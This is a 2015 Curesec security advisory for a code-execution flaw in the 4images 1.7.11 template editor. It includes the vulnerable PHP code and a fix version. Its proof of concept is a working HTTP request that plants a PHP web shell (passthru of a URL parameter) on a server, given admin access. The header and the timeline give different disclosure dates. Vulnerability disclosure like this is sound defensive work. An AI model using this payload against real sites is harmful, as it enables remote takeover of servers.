Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    4images 1.7.11
Fixed in:            1.7.12
Fixed Version Link:  http://www.4homepages.de/download-4images
Vendor Website:      http://www.4homepages.de/
Vulnerability Type:  Code Execution
Remote Exploitable:  Yes
Reported to vendor:  09/29/2015
Disclosed to public: 11/04/2015
Release mode:        Coordinated release
CVE:                 Requested, but not assigned
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

CVSS

High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

4images comes with a HTML Template editor which allows the editing of HTML
files. But it will also create a new file if the passed file name does not
already exist. When doing this, it does not check that the extension of the
passed file is .html.

Admin credentials are required to use the HTML template editor.

3. Proof of Concept


        POST /4images/admin/templates.php HTTP/1.1

        __csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default

4. Code


        /admin/templates.php

        if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) {
          $template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']);
          $template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name);
        }
        else {
          $template_file_name = "";
        }

        if ($action == "savetemplate") {
          if (isset($HTTP_POST_VARS['content'])) {
            $content = trim($HTTP_POST_VARS['content']);
          }
          else {
            $content = "";
          }

                if ($template_file_name != "" && $content != "") {
            $content = un_htmlspecialchars($content);
            $content = stripslashes($content);
            $fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+");
            if (@fwrite($fp, $content)) {
              $msg = $lang['template_edit_success'];
            }
            else {
              $msg = sprintf("<span class=\"marktext\">%s</span>", $lang['template_edit_error']);
            }
          }
          $action = "modifytemplates";
        }

5. Solution

To mitigate this issue please upgrade at least to version 1.7.12:

http://www.4homepages.de/download-4images

Please note that a newer version might already be available.

6. Report Timeline

09/29/2015 Informed Vendor about Issue
10/21/2015 Reminded Vendor of Disclosure Date
11/03/2015 Vendor releases fix
11/17/2015 CVE Requested (no reply)
12/02/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/4images-1711-Code-Execution-105.html
 
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blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany